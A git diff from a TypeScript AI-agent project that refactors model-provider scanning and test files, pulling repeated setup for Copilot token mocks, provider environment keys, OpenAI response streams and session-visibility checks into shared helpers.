|
||||
modelRef: `openrouter/${entry.id}`,
|
||||
contextLength: entry.contextLength,
|
||||
maxCompletionTokens: entry.maxCompletionTokens,
|
||||
supportedParametersCount: entry.supportedParametersCount,
|
||||
supportsToolsMeta: entry.supportsToolsMeta,
|
||||
modality: entry.modality,
|
||||
inferredParamB: entry.inferredParamB,
|
||||
createdAtMs: entry.createdAtMs,
|
||||
pricing: entry.pricing,
|
||||
isFree,
|
||||
tool: params.tool,
|
||||
image: params.image,
|
||||
};
|
||||
}
|
||||
|
||||
async function mapWithConcurrency<T, R>(
|
||||
items: T[],
|
||||
concurrency: number,
|
||||
@@ -427,23 +453,12 @@ export async function scanOpenRouterModels(
|
||||
async (entry) => {
|
||||
const isFree = isFreeOpenRouterModel(entry);
|
||||
if (!probe) {
|
||||
return {
|
||||
id: entry.id,
|
||||
name: entry.name,
|
||||
provider: "openrouter",
|
||||
modelRef: `openrouter/${entry.id}`,
|
||||
contextLength: entry.contextLength,
|
||||
maxCompletionTokens: entry.maxCompletionTokens,
|
||||
supportedParametersCount: entry.supportedParametersCount,
|
||||
supportsToolsMeta: entry.supportsToolsMeta,
|
||||
modality: entry.modality,
|
||||
inferredParamB: entry.inferredParamB,
|
||||
createdAtMs: entry.createdAtMs,
|
||||
pricing: entry.pricing,
|
||||
return buildOpenRouterScanResult({
|
||||
entry,
|
||||
isFree,
|
||||
tool: { ok: false, latencyMs: null, skipped: true },
|
||||
image: { ok: false, latencyMs: null, skipped: true },
|
||||
} satisfies ModelScanResult;
|
||||
});
|
||||
}
|
||||
|
||||
const model: OpenAIModel = {
|
||||
@@ -461,23 +476,12 @@ export async function scanOpenRouterModels(
|
||||
? await probeImage(ensureImageInput(model), apiKey, timeoutMs)
|
||||
: { ok: false, latencyMs: null, skipped: true };
|
||||
|
||||
return {
|
||||
id: entry.id,
|
||||
name: entry.name,
|
||||
provider: "openrouter",
|
||||
modelRef: `openrouter/${entry.id}`,
|
||||
contextLength: entry.contextLength,
|
||||
maxCompletionTokens: entry.maxCompletionTokens,
|
||||
supportedParametersCount: entry.supportedParametersCount,
|
||||
supportsToolsMeta: entry.supportsToolsMeta,
|
||||
modality: entry.modality,
|
||||
inferredParamB: entry.inferredParamB,
|
||||
createdAtMs: entry.createdAtMs,
|
||||
pricing: entry.pricing,
|
||||
return buildOpenRouterScanResult({
|
||||
entry,
|
||||
isFree,
|
||||
tool: toolResult,
|
||||
image: imageResult,
|
||||
} satisfies ModelScanResult;
|
||||
});
|
||||
},
|
||||
{
|
||||
onProgress: (completed, total) =>
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { afterEach, beforeEach } from "vitest";
|
||||
import { afterEach, beforeEach, vi } from "vitest";
|
||||
import type { OpenClawConfig } from "../config/config.js";
|
||||
import { withTempHome as withTempHomeBase } from "../../test/helpers/temp-home.js";
|
||||
|
||||
@@ -48,6 +48,28 @@ export function unsetEnv(vars: string[]) {
|
||||
}
|
||||
}
|
||||
|
||||
export const COPILOT_TOKEN_ENV_VARS = ["COPILOT_GITHUB_TOKEN", "GH_TOKEN", "GITHUB_TOKEN"];
|
||||
|
||||
export async function withUnsetCopilotTokenEnv<T>(fn: () => Promise<T>): Promise<T> {
|
||||
return withTempEnv(COPILOT_TOKEN_ENV_VARS, async () => {
|
||||
unsetEnv(COPILOT_TOKEN_ENV_VARS);
|
||||
return fn();
|
||||
});
|
||||
}
|
||||
|
||||
export function mockCopilotTokenExchangeSuccess() {
|
||||
const fetchMock = vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
status: 200,
|
||||
json: async () => ({
|
||||
token: "copilot-token;proxy-ep=proxy.copilot.example",
|
||||
expires_at: Math.floor(Date.now() / 1000) + 3600,
|
||||
}),
|
||||
});
|
||||
globalThis.fetch = fetchMock as unknown as typeof fetch;
|
||||
return fetchMock;
|
||||
}
|
||||
|
||||
export const MODELS_CONFIG_IMPLICIT_ENV_VARS = [
|
||||
"CLOUDFLARE_AI_GATEWAY_API_KEY",
|
||||
"COPILOT_GITHUB_TOKEN",
|
||||
|
||||
@@ -5,6 +5,8 @@ import { DEFAULT_COPILOT_API_BASE_URL } from "../providers/github-copilot-token.
|
||||
import { captureEnv } from "../test-utils/env.js";
|
||||
import {
|
||||
installModelsConfigTestHooks,
|
||||
mockCopilotTokenExchangeSuccess,
|
||||
withUnsetCopilotTokenEnv,
|
||||
withModelsTempHome as withTempHome,
|
||||
} from "./models-config.e2e-harness.js";
|
||||
import { ensureOpenClawModelsJson } from "./models-config.js";
|
||||
@@ -41,22 +43,8 @@ describe("models-config", () => {
|
||||
|
||||
it("uses agentDir override auth profiles for copilot injection", async () => {
|
||||
await withTempHome(async (home) => {
|
||||
const envSnapshot = captureEnv(["COPILOT_GITHUB_TOKEN", "GH_TOKEN", "GITHUB_TOKEN"]);
|
||||
delete process.env.COPILOT_GITHUB_TOKEN;
|
||||
delete process.env.GH_TOKEN;
|
||||
delete process.env.GITHUB_TOKEN;
|
||||
|
||||
const fetchMock = vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
status: 200,
|
||||
json: async () => ({
|
||||
token: "copilot-token;proxy-ep=proxy.copilot.example",
|
||||
expires_at: Math.floor(Date.now() / 1000) + 3600,
|
||||
}),
|
||||
});
|
||||
globalThis.fetch = fetchMock as unknown as typeof fetch;
|
||||
|
||||
try {
|
||||
await withUnsetCopilotTokenEnv(async () => {
|
||||
mockCopilotTokenExchangeSuccess();
|
||||
const agentDir = path.join(home, "agent-override");
|
||||
await fs.mkdir(agentDir, { recursive: true });
|
||||
await fs.writeFile(
|
||||
@@ -85,9 +73,7 @@ describe("models-config", () => {
|
||||
};
|
||||
|
||||
expect(parsed.providers["github-copilot"]?.baseUrl).toBe("https://api.copilot.example");
|
||||
} finally {
|
||||
envSnapshot.restore();
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,50 +1,14 @@
|
||||
import fs from "node:fs/promises";
|
||||
import path from "node:path";
|
||||
import { afterEach, beforeEach, describe, expect, it } from "vitest";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import type { OpenClawConfig } from "../config/config.js";
|
||||
import { withTempHome as withTempHomeBase } from "../../test/helpers/temp-home.js";
|
||||
|
||||
async function withTempHome<T>(fn: (home: string) => Promise<T>): Promise<T> {
|
||||
return withTempHomeBase(fn, { prefix: "openclaw-models-" });
|
||||
}
|
||||
|
||||
const _MODELS_CONFIG: OpenClawConfig = {
|
||||
models: {
|
||||
providers: {
|
||||
"custom-proxy": {
|
||||
baseUrl: "http://localhost:4000/v1",
|
||||
apiKey: "TEST_KEY",
|
||||
api: "openai-completions",
|
||||
models: [
|
||||
{
|
||||
id: "llama-3.1-8b",
|
||||
name: "Llama 3.1 8B (Proxy)",
|
||||
api: "openai-completions",
|
||||
reasoning: false,
|
||||
input: ["text"],
|
||||
cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 },
|
||||
contextWindow: 128000,
|
||||
maxTokens: 32000,
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
},
|
||||
};
|
||||
import { installModelsConfigTestHooks, withModelsTempHome } from "./models-config.e2e-harness.js";
|
||||
|
||||
describe("models-config", () => {
|
||||
let previousHome: string | undefined;
|
||||
|
||||
beforeEach(() => {
|
||||
previousHome = process.env.HOME;
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
process.env.HOME = previousHome;
|
||||
});
|
||||
installModelsConfigTestHooks();
|
||||
|
||||
it("normalizes gemini 3 ids to preview for google providers", async () => {
|
||||
await withTempHome(async () => {
|
||||
await withModelsTempHome(async () => {
|
||||
const { ensureOpenClawModelsJson } = await import("./models-config.js");
|
||||
const { resolveOpenClawAgentDir } = await import("./agent-paths.js");
|
||||
|
||||
|
||||
@@ -14,6 +14,44 @@ import { ensureOpenClawModelsJson } from "./models-config.js";
|
||||
|
||||
installModelsConfigTestHooks();
|
||||
|
||||
type ProviderConfig = {
|
||||
baseUrl?: string;
|
||||
apiKey?: string;
|
||||
models?: Array<{ id: string }>;
|
||||
};
|
||||
|
||||
async function runEnvProviderCase(params: {
|
||||
envVar: "MINIMAX_API_KEY" | "SYNTHETIC_API_KEY";
|
||||
envValue: string;
|
||||
providerKey: "minimax" | "synthetic";
|
||||
expectedBaseUrl: string;
|
||||
expectedApiKeyRef: string;
|
||||
expectedModelIds: string[];
|
||||
}) {
|
||||
const previousValue = process.env[params.envVar];
|
||||
process.env[params.envVar] = params.envValue;
|
||||
try {
|
||||
await ensureOpenClawModelsJson({});
|
||||
|
||||
const modelPath = path.join(resolveOpenClawAgentDir(), "models.json");
|
||||
const raw = await fs.readFile(modelPath, "utf8");
|
||||
const parsed = JSON.parse(raw) as { providers: Record<string, ProviderConfig> };
|
||||
const provider = parsed.providers[params.providerKey];
|
||||
expect(provider?.baseUrl).toBe(params.expectedBaseUrl);
|
||||
expect(provider?.apiKey).toBe(params.expectedApiKeyRef);
|
||||
const ids = provider?.models?.map((model) => model.id) ?? [];
|
||||
for (const expectedId of params.expectedModelIds) {
|
||||
expect(ids).toContain(expectedId);
|
||||
}
|
||||
} finally {
|
||||
if (previousValue === undefined) {
|
||||
delete process.env[params.envVar];
|
||||
} else {
|
||||
process.env[params.envVar] = previousValue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
describe("models-config", () => {
|
||||
it("skips writing models.json when no env token or profile exists", async () => {
|
||||
await withTempHome(async (home) => {
|
||||
@@ -54,68 +92,27 @@ describe("models-config", () => {
|
||||
|
||||
it("adds minimax provider when MINIMAX_API_KEY is set", async () => {
|
||||
await withTempHome(async () => {
|
||||
const prevKey = process.env.MINIMAX_API_KEY;
|
||||
process.env.MINIMAX_API_KEY = "sk-minimax-test";
|
||||
try {
|
||||
await ensureOpenClawModelsJson({});
|
||||
|
||||
const modelPath = path.join(resolveOpenClawAgentDir(), "models.json");
|
||||
const raw = await fs.readFile(modelPath, "utf8");
|
||||
const parsed = JSON.parse(raw) as {
|
||||
providers: Record<
|
||||
string,
|
||||
{
|
||||
baseUrl?: string;
|
||||
apiKey?: string;
|
||||
models?: Array<{ id: string }>;
|
||||
}
|
||||
>;
|
||||
};
|
||||
expect(parsed.providers.minimax?.baseUrl).toBe("https://api.minimax.io/anthropic");
|
||||
expect(parsed.providers.minimax?.apiKey).toBe("MINIMAX_API_KEY");
|
||||
const ids = parsed.providers.minimax?.models?.map((model) => model.id);
|
||||
expect(ids).toContain("MiniMax-M2.1");
|
||||
expect(ids).toContain("MiniMax-VL-01");
|
||||
} finally {
|
||||
if (prevKey === undefined) {
|
||||
delete process.env.MINIMAX_API_KEY;
|
||||
} else {
|
||||
process.env.MINIMAX_API_KEY = prevKey;
|
||||
}
|
||||
}
|
||||
await runEnvProviderCase({
|
||||
envVar: "MINIMAX_API_KEY",
|
||||
envValue: "sk-minimax-test",
|
||||
providerKey: "minimax",
|
||||
expectedBaseUrl: "https://api.minimax.io/anthropic",
|
||||
expectedApiKeyRef: "MINIMAX_API_KEY",
|
||||
expectedModelIds: ["MiniMax-M2.1", "MiniMax-VL-01"],
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
it("adds synthetic provider when SYNTHETIC_API_KEY is set", async () => {
|
||||
await withTempHome(async () => {
|
||||
const prevKey = process.env.SYNTHETIC_API_KEY;
|
||||
process.env.SYNTHETIC_API_KEY = "sk-synthetic-test";
|
||||
try {
|
||||
await ensureOpenClawModelsJson({});
|
||||
|
||||
const modelPath = path.join(resolveOpenClawAgentDir(), "models.json");
|
||||
const raw = await fs.readFile(modelPath, "utf8");
|
||||
const parsed = JSON.parse(raw) as {
|
||||
providers: Record<
|
||||
string,
|
||||
{
|
||||
baseUrl?: string;
|
||||
apiKey?: string;
|
||||
models?: Array<{ id: string }>;
|
||||
}
|
||||
>;
|
||||
};
|
||||
expect(parsed.providers.synthetic?.baseUrl).toBe("https://api.synthetic.new/anthropic");
|
||||
expect(parsed.providers.synthetic?.apiKey).toBe("SYNTHETIC_API_KEY");
|
||||
const ids = parsed.providers.synthetic?.models?.map((model) => model.id);
|
||||
expect(ids).toContain("hf:MiniMaxAI/MiniMax-M2.1");
|
||||
} finally {
|
||||
if (prevKey === undefined) {
|
||||
delete process.env.SYNTHETIC_API_KEY;
|
||||
} else {
|
||||
process.env.SYNTHETIC_API_KEY = prevKey;
|
||||
}
|
||||
}
|
||||
await runEnvProviderCase({
|
||||
envVar: "SYNTHETIC_API_KEY",
|
||||
envValue: "sk-synthetic-test",
|
||||
providerKey: "synthetic",
|
||||
expectedBaseUrl: "https://api.synthetic.new/anthropic",
|
||||
expectedApiKeyRef: "SYNTHETIC_API_KEY",
|
||||
expectedModelIds: ["hf:MiniMaxAI/MiniMax-M2.1"],
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -5,6 +5,8 @@ import { captureEnv } from "../test-utils/env.js";
|
||||
import { resolveOpenClawAgentDir } from "./agent-paths.js";
|
||||
import {
|
||||
installModelsConfigTestHooks,
|
||||
mockCopilotTokenExchangeSuccess,
|
||||
withUnsetCopilotTokenEnv,
|
||||
withModelsTempHome as withTempHome,
|
||||
} from "./models-config.e2e-harness.js";
|
||||
import { ensureOpenClawModelsJson } from "./models-config.js";
|
||||
@@ -14,22 +16,8 @@ installModelsConfigTestHooks({ restoreFetch: true });
|
||||
describe("models-config", () => {
|
||||
it("uses the first github-copilot profile when env tokens are missing", async () => {
|
||||
await withTempHome(async (home) => {
|
||||
const envSnapshot = captureEnv(["COPILOT_GITHUB_TOKEN", "GH_TOKEN", "GITHUB_TOKEN"]);
|
||||
delete process.env.COPILOT_GITHUB_TOKEN;
|
||||
delete process.env.GH_TOKEN;
|
||||
delete process.env.GITHUB_TOKEN;
|
||||
|
||||
const fetchMock = vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
status: 200,
|
||||
json: async () => ({
|
||||
token: "copilot-token;proxy-ep=proxy.copilot.example",
|
||||
expires_at: Math.floor(Date.now() / 1000) + 3600,
|
||||
}),
|
||||
});
|
||||
globalThis.fetch = fetchMock as unknown as typeof fetch;
|
||||
|
||||
try {
|
||||
await withUnsetCopilotTokenEnv(async () => {
|
||||
const fetchMock = mockCopilotTokenExchangeSuccess();
|
||||
const agentDir = path.join(home, "agent-profiles");
|
||||
await fs.mkdir(agentDir, { recursive: true });
|
||||
await fs.writeFile(
|
||||
@@ -59,9 +47,7 @@ describe("models-config", () => {
|
||||
|
||||
const [, opts] = fetchMock.mock.calls[0] as [string, { headers?: Record<string, string> }];
|
||||
expect(opts?.headers?.Authorization).toBe("Bearer alpha-token");
|
||||
} finally {
|
||||
envSnapshot.restore();
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -21,7 +21,7 @@ const REQUIRE_PROFILE_KEYS = isTruthyEnvValue(process.env.OPENCLAW_LIVE_REQUIRE_
|
||||
|
||||
const describeLive = LIVE ? describe : describe.skip;
|
||||
|
||||
function parseProviderFilter(raw?: string): Set<string> | null {
|
||||
function parseCsvFilter(raw?: string): Set<string> | null {
|
||||
const trimmed = raw?.trim();
|
||||
if (!trimmed || trimmed === "all") {
|
||||
return null;
|
||||
@@ -33,16 +33,12 @@ function parseProviderFilter(raw?: string): Set<string> | null {
|
||||
return ids.length ? new Set(ids) : null;
|
||||
}
|
||||
|
||||
function parseProviderFilter(raw?: string): Set<string> | null {
|
||||
return parseCsvFilter(raw);
|
||||
}
|
||||
|
||||
function parseModelFilter(raw?: string): Set<string> | null {
|
||||
const trimmed = raw?.trim();
|
||||
if (!trimmed || trimmed === "all") {
|
||||
return null;
|
||||
}
|
||||
const ids = trimmed
|
||||
.split(",")
|
||||
.map((s) => s.trim())
|
||||
.filter(Boolean);
|
||||
return ids.length ? new Set(ids) : null;
|
||||
return parseCsvFilter(raw);
|
||||
}
|
||||
|
||||
function logProgress(message: string): void {
|
||||
|
||||
@@ -18,13 +18,51 @@ function buildModel(): Model<"openai-responses"> {
|
||||
};
|
||||
}
|
||||
|
||||
function extractInputTypes(payload: Record<string, unknown> | undefined) {
|
||||
const input = Array.isArray(payload?.input) ? payload.input : [];
|
||||
return input
|
||||
.map((item) =>
|
||||
item && typeof item === "object" ? (item as Record<string, unknown>).type : undefined,
|
||||
)
|
||||
.filter((t): t is string => typeof t === "string");
|
||||
}
|
||||
|
||||
async function runAbortedOpenAIResponsesStream(params: {
|
||||
messages: Array<
|
||||
AssistantMessage | ToolResultMessage | { role: "user"; content: string; timestamp: number }
|
||||
>;
|
||||
tools?: Array<{
|
||||
name: string;
|
||||
description: string;
|
||||
parameters: ReturnType<typeof Type.Object>;
|
||||
}>;
|
||||
}) {
|
||||
const controller = new AbortController();
|
||||
controller.abort();
|
||||
let payload: Record<string, unknown> | undefined;
|
||||
|
||||
const stream = streamOpenAIResponses(
|
||||
buildModel(),
|
||||
{
|
||||
systemPrompt: "system",
|
||||
messages: params.messages,
|
||||
...(params.tools ? { tools: params.tools } : {}),
|
||||
},
|
||||
{
|
||||
apiKey: "test",
|
||||
signal: controller.signal,
|
||||
onPayload: (nextPayload) => {
|
||||
payload = nextPayload as Record<string, unknown>;
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
await stream.result();
|
||||
return extractInputTypes(payload);
|
||||
}
|
||||
|
||||
describe("openai-responses reasoning replay", () => {
|
||||
it("replays reasoning for tool-call-only turns (OpenAI requires it)", async () => {
|
||||
const model = buildModel();
|
||||
const controller = new AbortController();
|
||||
controller.abort();
|
||||
let payload: Record<string, unknown> | undefined;
|
||||
|
||||
const assistantToolOnly: AssistantMessage = {
|
||||
role: "assistant",
|
||||
api: "openai-responses",
|
||||
@@ -68,49 +106,29 @@ describe("openai-responses reasoning replay", () => {
|
||||
timestamp: Date.now(),
|
||||
};
|
||||
|
||||
const stream = streamOpenAIResponses(
|
||||
model,
|
||||
{
|
||||
systemPrompt: "system",
|
||||
messages: [
|
||||
{
|
||||
role: "user",
|
||||
content: "Call noop.",
|
||||
timestamp: Date.now(),
|
||||
},
|
||||
assistantToolOnly,
|
||||
toolResult,
|
||||
{
|
||||
role: "user",
|
||||
content: "Now reply with ok.",
|
||||
timestamp: Date.now(),
|
||||
},
|
||||
],
|
||||
tools: [
|
||||
{
|
||||
name: "noop",
|
||||
description: "no-op",
|
||||
parameters: Type.Object({}, { additionalProperties: false }),
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
apiKey: "test",
|
||||
signal: controller.signal,
|
||||
onPayload: (nextPayload) => {
|
||||
payload = nextPayload as Record<string, unknown>;
|
||||
const types = await runAbortedOpenAIResponsesStream({
|
||||
messages: [
|
||||
{
|
||||
role: "user",
|
||||
content: "Call noop.",
|
||||
timestamp: Date.now(),
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
await stream.result();
|
||||
|
||||
const input = Array.isArray(payload?.input) ? payload?.input : [];
|
||||
const types = input
|
||||
.map((item) =>
|
||||
item && typeof item === "object" ? (item as Record<string, unknown>).type : undefined,
|
||||
)
|
||||
.filter((t): t is string => typeof t === "string");
|
||||
assistantToolOnly,
|
||||
toolResult,
|
||||
{
|
||||
role: "user",
|
||||
content: "Now reply with ok.",
|
||||
timestamp: Date.now(),
|
||||
},
|
||||
],
|
||||
tools: [
|
||||
{
|
||||
name: "noop",
|
||||
description: "no-op",
|
||||
parameters: Type.Object({}, { additionalProperties: false }),
|
||||
},
|
||||
],
|
||||
});
|
||||
|
||||
expect(types).toContain("reasoning");
|
||||
expect(types).toContain("function_call");
|
||||
@@ -127,11 +145,6 @@ describe("openai-responses reasoning replay", () => {
|
||||
});
|
||||
|
||||
it("still replays reasoning when paired with an assistant message", async () => {
|
||||
const model = buildModel();
|
||||
const controller = new AbortController();
|
||||
controller.abort();
|
||||
let payload: Record<string, unknown> | undefined;
|
||||
|
||||
const assistantWithText: AssistantMessage = {
|
||||
role: "assistant",
|
||||
api: "openai-responses",
|
||||
@@ -161,33 +174,13 @@ describe("openai-responses reasoning replay", () => {
|
||||
],
|
||||
};
|
||||
|
||||
const stream = streamOpenAIResponses(
|
||||
model,
|
||||
{
|
||||
systemPrompt: "system",
|
||||
messages: [
|
||||
{ role: "user", content: "Hi", timestamp: Date.now() },
|
||||
assistantWithText,
|
||||
{ role: "user", content: "Ok", timestamp: Date.now() },
|
||||
],
|
||||
},
|
||||
{
|
||||
apiKey: "test",
|
||||
signal: controller.signal,
|
||||
onPayload: (nextPayload) => {
|
||||
payload = nextPayload as Record<string, unknown>;
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
await stream.result();
|
||||
|
||||
const input = Array.isArray(payload?.input) ? payload?.input : [];
|
||||
const types = input
|
||||
.map((item) =>
|
||||
item && typeof item === "object" ? (item as Record<string, unknown>).type : undefined,
|
||||
)
|
||||
.filter((t): t is string => typeof t === "string");
|
||||
const types = await runAbortedOpenAIResponsesStream({
|
||||
messages: [
|
||||
{ role: "user", content: "Hi", timestamp: Date.now() },
|
||||
assistantWithText,
|
||||
{ role: "user", content: "Ok", timestamp: Date.now() },
|
||||
],
|
||||
});
|
||||
|
||||
expect(types).toContain("reasoning");
|
||||
expect(types).toContain("message");
|
||||
|
||||
@@ -20,15 +20,42 @@ vi.mock("../config/config.js", async (importOriginal) => {
|
||||
import "./test-helpers/fast-core-tools.js";
|
||||
import { createOpenClawTools } from "./openclaw-tools.js";
|
||||
|
||||
function getSessionsHistoryTool(options?: { sandboxed?: boolean }) {
|
||||
const tool = createOpenClawTools({
|
||||
agentSessionKey: "main",
|
||||
sandboxed: options?.sandboxed,
|
||||
}).find((candidate) => candidate.name === "sessions_history");
|
||||
expect(tool).toBeDefined();
|
||||
if (!tool) {
|
||||
throw new Error("missing sessions_history tool");
|
||||
}
|
||||
return tool;
|
||||
}
|
||||
|
||||
function mockGatewayWithHistory(
|
||||
extra?: (req: { method?: string; params?: Record<string, unknown> }) => unknown,
|
||||
) {
|
||||
callGatewayMock.mockReset();
|
||||
callGatewayMock.mockImplementation(async (opts: unknown) => {
|
||||
const req = opts as { method?: string; params?: Record<string, unknown> };
|
||||
const handled = extra?.(req);
|
||||
if (handled !== undefined) {
|
||||
return handled;
|
||||
}
|
||||
if (req.method === "chat.history") {
|
||||
return { messages: [{ role: "assistant", content: [{ type: "text", text: "ok" }] }] };
|
||||
}
|
||||
return {};
|
||||
});
|
||||
}
|
||||
|
||||
describe("sessions tools visibility", () => {
|
||||
it("defaults to tree visibility (self + spawned) for sessions_history", async () => {
|
||||
mockConfig = {
|
||||
session: { mainKey: "main", scope: "per-sender" },
|
||||
tools: { agentToAgent: { enabled: false } },
|
||||
};
|
||||
callGatewayMock.mockReset();
|
||||
callGatewayMock.mockImplementation(async (opts: unknown) => {
|
||||
const req = opts as { method?: string; params?: Record<string, unknown> };
|
||||
mockGatewayWithHistory((req) => {
|
||||
if (req.method === "sessions.list" && req.params?.spawnedBy === "main") {
|
||||
return { sessions: [{ key: "subagent:child-1" }] };
|
||||
}
|
||||
@@ -36,19 +63,10 @@ describe("sessions tools visibility", () => {
|
||||
const key = typeof req.params?.key === "string" ? String(req.params?.key) : "";
|
||||
return { key };
|
||||
}
|
||||
if (req.method === "chat.history") {
|
||||
return { messages: [{ role: "assistant", content: [{ type: "text", text: "ok" }] }] };
|
||||
}
|
||||
return {};
|
||||
return undefined;
|
||||
});
|
||||
|
||||
const tool = createOpenClawTools({ agentSessionKey: "main" }).find(
|
||||
(candidate) => candidate.name === "sessions_history",
|
||||
);
|
||||
expect(tool).toBeDefined();
|
||||
if (!tool) {
|
||||
throw new Error("missing sessions_history tool");
|
||||
}
|
||||
const tool = getSessionsHistoryTool();
|
||||
|
||||
const denied = await tool.execute("call1", {
|
||||
sessionKey: "agent:main:discord:direct:someone-else",
|
||||
@@ -66,22 +84,8 @@ describe("sessions tools visibility", () => {
|
||||
session: { mainKey: "main", scope: "per-sender" },
|
||||
tools: { sessions: { visibility: "all" }, agentToAgent: { enabled: false } },
|
||||
};
|
||||
callGatewayMock.mockReset();
|
||||
callGatewayMock.mockImplementation(async (opts: unknown) => {
|
||||
const req = opts as { method?: string; params?: Record<string, unknown> };
|
||||
if (req.method === "chat.history") {
|
||||
return { messages: [{ role: "assistant", content: [{ type: "text", text: "ok" }] }] };
|
||||
}
|
||||
return {};
|
||||
});
|
||||
|
||||
const tool = createOpenClawTools({ agentSessionKey: "main" }).find(
|
||||
(candidate) => candidate.name === "sessions_history",
|
||||
);
|
||||
expect(tool).toBeDefined();
|
||||
if (!tool) {
|
||||
throw new Error("missing sessions_history tool");
|
||||
}
|
||||
mockGatewayWithHistory();
|
||||
const tool = getSessionsHistoryTool();
|
||||
|
||||
const result = await tool.execute("call3", {
|
||||
sessionKey: "agent:main:discord:direct:someone-else",
|
||||
@@ -97,25 +101,14 @@ describe("sessions tools visibility", () => {
|
||||
tools: { sessions: { visibility: "all" }, agentToAgent: { enabled: true, allow: ["*"] } },
|
||||
agents: { defaults: { sandbox: { sessionToolsVisibility: "spawned" } } },
|
||||
};
|
||||
callGatewayMock.mockReset();
|
||||
callGatewayMock.mockImplementation(async (opts: unknown) => {
|
||||
const req = opts as { method?: string; params?: Record<string, unknown> };
|
||||
mockGatewayWithHistory((req) => {
|
||||
if (req.method === "sessions.list" && req.params?.spawnedBy === "main") {
|
||||
return { sessions: [] };
|
||||
}
|
||||
if (req.method === "chat.history") {
|
||||
return { messages: [{ role: "assistant", content: [{ type: "text", text: "ok" }] }] };
|
||||
}
|
||||
return {};
|
||||
return undefined;
|
||||
});
|
||||
|
||||
const tool = createOpenClawTools({ agentSessionKey: "main", sandboxed: true }).find(
|
||||
(candidate) => candidate.name === "sessions_history",
|
||||
);
|
||||
expect(tool).toBeDefined();
|
||||
if (!tool) {
|
||||
throw new Error("missing sessions_history tool");
|
||||
}
|
||||
const tool = getSessionsHistoryTool({ sandboxed: true });
|
||||
|
||||
const denied = await tool.execute("call4", {
|
||||
sessionKey: "agent:other:main",
|
||||
|
||||
@@ -52,36 +52,40 @@ function findLastCall(calls: GatewayCall[], predicate: (call: GatewayCall) => bo
|
||||
return undefined;
|
||||
}
|
||||
|
||||
async function expectThinkingPropagation(params: {
|
||||
callId: string;
|
||||
payload: Record<string, unknown>;
|
||||
expectedThinking: string;
|
||||
}) {
|
||||
const tool = createSessionsSpawnTool({ agentSessionKey: "agent:test:main" });
|
||||
const result = await tool.execute(params.callId, params.payload);
|
||||
expect(result.details).toMatchObject({ status: "accepted" });
|
||||
|
||||
const calls = await getGatewayCalls();
|
||||
const agentCall = findLastCall(calls, (call) => call.method === "agent");
|
||||
const thinkingPatch = findLastCall(
|
||||
calls,
|
||||
(call) => call.method === "sessions.patch" && call.params?.thinkingLevel !== undefined,
|
||||
);
|
||||
|
||||
expect(agentCall?.params?.thinking).toBe(params.expectedThinking);
|
||||
expect(thinkingPatch?.params?.thinkingLevel).toBe(params.expectedThinking);
|
||||
}
|
||||
|
||||
describe("sessions_spawn thinking defaults", () => {
|
||||
it("applies agents.defaults.subagents.thinking when thinking is omitted", async () => {
|
||||
const tool = createSessionsSpawnTool({ agentSessionKey: "agent:test:main" });
|
||||
const result = await tool.execute("call-1", { task: "hello" });
|
||||
expect(result.details).toMatchObject({ status: "accepted" });
|
||||
|
||||
const calls = await getGatewayCalls();
|
||||
const agentCall = findLastCall(calls, (call) => call.method === "agent");
|
||||
const thinkingPatch = findLastCall(
|
||||
calls,
|
||||
(call) => call.method === "sessions.patch" && call.params?.thinkingLevel !== undefined,
|
||||
);
|
||||
|
||||
expect(agentCall?.params?.thinking).toBe("high");
|
||||
expect(thinkingPatch?.params?.thinkingLevel).toBe("high");
|
||||
await expectThinkingPropagation({
|
||||
callId: "call-1",
|
||||
payload: { task: "hello" },
|
||||
expectedThinking: "high",
|
||||
});
|
||||
});
|
||||
|
||||
it("prefers explicit sessions_spawn.thinking over config default", async () => {
|
||||
const tool = createSessionsSpawnTool({ agentSessionKey: "agent:test:main" });
|
||||
const result = await tool.execute("call-2", { task: "hello", thinking: "low" });
|
||||
expect(result.details).toMatchObject({ status: "accepted" });
|
||||
|
||||
const calls = await getGatewayCalls();
|
||||
const agentCall = findLastCall(calls, (call) => call.method === "agent");
|
||||
const thinkingPatch = findLastCall(
|
||||
calls,
|
||||
(call) => call.method === "sessions.patch" && call.params?.thinkingLevel !== undefined,
|
||||
);
|
||||
|
||||
expect(agentCall?.params?.thinking).toBe("low");
|
||||
expect(thinkingPatch?.params?.thinkingLevel).toBe("low");
|
||||
await expectThinkingPropagation({
|
||||
callId: "call-2",
|
||||
payload: { task: "hello", thinking: "low" },
|
||||
expectedThinking: "low",
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -33,6 +33,39 @@ function writeStore(agentId: string, store: Record<string, unknown>) {
|
||||
fs.writeFileSync(storePath, JSON.stringify(store, null, 2), "utf-8");
|
||||
}
|
||||
|
||||
function setSubagentLimits(subagents: Record<string, unknown>) {
|
||||
configOverride = {
|
||||
session: {
|
||||
mainKey: "main",
|
||||
scope: "per-sender",
|
||||
store: storeTemplatePath,
|
||||
},
|
||||
agents: {
|
||||
defaults: {
|
||||
subagents,
|
||||
},
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
function seedDepthTwoAncestryStore(params?: { sessionIds?: boolean }) {
|
||||
const depth1 = "agent:main:subagent:depth-1";
|
||||
const callerKey = "agent:main:subagent:depth-2";
|
||||
writeStore("main", {
|
||||
[depth1]: {
|
||||
sessionId: params?.sessionIds ? "depth-1-session" : "depth-1",
|
||||
updatedAt: Date.now(),
|
||||
spawnedBy: "agent:main:main",
|
||||
},
|
||||
[callerKey]: {
|
||||
sessionId: params?.sessionIds ? "depth-2-session" : "depth-2",
|
||||
